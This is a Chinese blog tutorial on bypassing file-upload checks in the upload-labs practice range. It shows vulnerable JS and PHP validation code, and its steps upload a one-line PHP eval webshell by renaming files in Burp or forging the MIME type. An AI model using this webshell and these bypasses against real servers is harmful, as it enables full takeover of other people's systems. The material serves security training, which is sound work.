js 上传文件_Web渗透01x.文件上传漏洞(一)

一.原理

文件上传漏洞是一种常见的web漏洞,攻击的是数据与代码分离原则。攻击者上传恶意文件到服务器端,服务器端未对此文件做严格检查将其保存在了服务器上,攻击者通过访问该文件的方式在服务器上执行了这些代码则会产生较大的危害。如果是上传webshell到服务器端则可实现对该系统的完全控制。相比于sql注入、xss注入,这种漏洞的攻击方式更直接危害更大。

基本的文件上传检查绕过有下面几种:

前端绕过、MIME绕过、黑名单绕过、白名单绕过

二.实验环境和工具

lamp环境(Linux)、phpstudy(windows)、upload-labs靶场、burpsuite、蚁剑

burpsuite:渗透测试工具,在这里主要用于对文件上传的包进行抓包篡改。

蚁剑:webshell管理工具,验证webshell是否上传成功。

三.思路解析

1.前端绕过

原理:前端js检查文件后缀,只允许图片格式上传

js代码:

function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

绕过方法:

(1)一句马<?php @eval($_POST["pass"])?>');?>保存为jpg格式,绕过js验证上传

f073dd984a290b96bf85c0e7c63d292c.png

(2)burp抓包将文件类型改成php

e75f659feb1923fd55c4c770b1000709.png

(3)蚁剑连接测试是否成功

fe86ddb37b85fcfba7193620e3c798fa.png

2a9936aceccb2161d60e4d96029abe0c.png

2.MIME验证绕过

原理:php检查MIME类型,限制只允许图片文件上传

php代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

绕过方法:

(法1)php一句马保存为jpg格式,burp抓包修改文件类型为php

9f09387d08fd772e8944946a60f53c6b.png

(法2)直接上传php一句马,burp抓包修改content-type为图片类型

5b708ef335ca9745d7d58242a8853971.png

上传成功后蚁剑连接测试是否成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值